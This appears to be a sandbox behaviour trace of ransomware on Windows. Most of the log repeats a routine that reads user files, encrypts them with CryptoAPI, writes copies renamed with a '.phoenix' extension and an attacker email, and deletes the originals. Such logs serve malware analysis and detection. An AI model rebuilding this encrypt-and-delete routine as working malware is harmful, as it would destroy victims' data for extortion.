	[0266.430] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.431] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151400) returned 1
	[0266.431] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.431] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c9, lpOverlapped=0x0) returned 1
	[0266.432] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.432] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.433] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0266.433] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.433] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.433] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0266.433] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.433] CryptDestroyKey (hKey=0x151400) returned 1
	[0266.433] CloseHandle (hObject=0x2e8) returned 1
	[0266.433] CloseHandle (hObject=0x2c0) returned 1
	[0266.434] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat")) returned 1
	[0266.434] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.434] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.435] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=453) returned 1
	[0266.435] CloseHandle (hObject=0x2c0) returned 1
	[0266.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat")) returned 0x20
	[0266.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.435] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.435] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.435] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.435] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.436] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1516c0) returned 1
	[0266.436] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.436] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c5, lpOverlapped=0x0) returned 1
	[0266.437] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.437] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.438] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0266.438] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.438] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.438] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.438] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.438] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0266.438] CloseHandle (hObject=0x2c0) returned 1
	[0266.438] CloseHandle (hObject=0x2e8) returned 1
	[0266.438] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat")) returned 1
	[0266.439] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.439] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.440] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=455) returned 1
	[0266.440] CloseHandle (hObject=0x2e8) returned 1
	[0266.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat")) returned 0x20
	[0266.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.440] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.440] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.440] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.440] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.441] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0266.441] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.441] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c7, lpOverlapped=0x0) returned 1
	[0266.542] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.543] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.543] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0266.544] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.544] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.544] CryptDestroyKey (hKey=0x151340) returned 1
	[0266.544] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.544] CryptDestroyKey (hKey=0x151500) returned 1
	[0266.544] CloseHandle (hObject=0x2e8) returned 1
	[0266.544] CloseHandle (hObject=0x2c0) returned 1
	[0266.544] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat")) returned 1
	[0266.546] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.546] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.608] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=6573) returned 1
	[0266.608] CloseHandle (hObject=0x254) returned 1
	[0266.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt")) returned 0x20
	[0266.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.617] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.617] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.618] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0266.618] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.618] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x19ad, lpOverlapped=0x0) returned 1
	[0266.632] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x19b0) returned 1
	[0266.632] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x19b0, lpOverlapped=0x0) returned 1
	[0266.633] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0266.633] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.633] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0266.633] CryptDestroyKey (hKey=0x151180) returned 1
	[0266.633] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0266.633] CryptDestroyKey (hKey=0x151700) returned 1
	[0266.633] CloseHandle (hObject=0x254) returned 1
	[0266.633] CloseHandle (hObject=0x2c4) returned 1
	[0266.633] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt")) returned 1
	[0266.634] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.634] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\container.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.635] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=0) returned 1
	[0266.635] CloseHandle (hObject=0x2c4) returned 1
	[0266.635] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.635] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\JW094SOV\\consent.google[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\jw094sov\\consent.google[1].xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.636] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=13) returned 1
	[0266.636] CloseHandle (hObject=0x2c4) returned 1
	[0266.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\JW094SOV\\consent.google[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\jw094sov\\consent.google[1].xml")) returned 0x2020
	[0266.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\JW094SOV\\consent.google[1].xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\jw094sov\\consent.google[1].xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.636] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\JW094SOV\\consent.google[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\jw094sov\\consent.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.636] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.636] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.636] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\JW094SOV\\consent.google[1].xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\jw094sov\\consent.google[1].xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.637] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0266.637] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.637] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd, lpOverlapped=0x0) returned 1
	[0266.638] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x10, dwBufLen=0x10 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x10) returned 1
	[0266.638] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x10, lpOverlapped=0x0) returned 1
	[0266.639] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0266.639] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.639] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.639] CryptDestroyKey (hKey=0x151640) returned 1
	[0266.639] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.639] CryptDestroyKey (hKey=0x151500) returned 1
	[0266.639] CloseHandle (hObject=0x2c4) returned 1
	[0266.639] CloseHandle (hObject=0x254) returned 1
	[0266.639] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\JW094SOV\\consent.google[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\jw094sov\\consent.google[1].xml")) returned 1
	[0266.640] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.640] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\KHCDOJTQ\\www.google[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\khcdojtq\\www.google[1].xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.641] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=92) returned 1
	[0266.641] CloseHandle (hObject=0x254) returned 1
	[0266.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\KHCDOJTQ\\www.google[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\khcdojtq\\www.google[1].xml")) returned 0x2020
	[0266.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\KHCDOJTQ\\www.google[1].xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\khcdojtq\\www.google[1].xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.641] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\KHCDOJTQ\\www.google[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\khcdojtq\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.641] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
